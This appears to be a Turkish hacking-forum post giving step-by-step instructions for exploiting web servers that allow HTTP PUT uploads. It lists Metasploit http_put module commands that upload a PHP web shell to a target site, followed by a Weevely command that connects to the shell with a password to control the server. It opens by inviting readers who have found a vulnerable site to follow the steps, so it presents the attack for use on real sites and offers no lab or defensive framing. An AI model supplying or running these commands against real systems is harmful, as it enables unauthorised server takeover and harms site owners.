PUT Exploit saldırısı

Konu Özeti

PUT Exploit saldırısı, HTTP PUT metodunun yanlış yapılandırıldığı sunucularda dosya yükleme açığını kullanır. Metasploit'in http_put modülü ile hedef IP ve yol belirlenerek zararlı bir PHP dosyası yüklenir. Ardından Weevely aracıyla yüklenen shell dosyasına bağlanılarak sunucu üzerinde kontrol sağlanır.

Status
Not open for further replies.
Eğer put exploit açığı bulduğunuz bir site varsa göstereceğim adımları uygulayın.

Msfconsol programını açın..

msf > use auxiliary/scanner/http/http_put
msf > set rhosts "HEDEF SİTENİN İP ADRESİ" /ÖRNEK : set rhosts 192.168.45.31
msf > set path "AÇIĞIN OLDUĞU YER" / ÖRNEK : set path /get/
msf > set filename "SHELL DOSYASI" / ÖRNEK : set filename makassar.php
msf > set filedata file://root/Desktop/shell2.php / Siz eğer parrot vs kullanıyorsanız (cd desktop yazın ve sonra pwd yazın /User/root/Desktop/shell2.php)
msf > exploit

İŞLEM OLDUKTAN SONRA : ~# weevely http://hedefsite.com/path/makassar.php "ŞİFRE" / ÖRNEK : weevely http://hedefsite.com/path/makassar.php 12345

Ve işlem tamamlanmıştır.

🔒 Bu içeriği görmek için giriş yapın

 
  • Like
Reactions: WyX
Status
Not open for further replies.
136,647Threads
3,307,324Messages
328,496Members
kumrbaz1Latest member
Top Bottom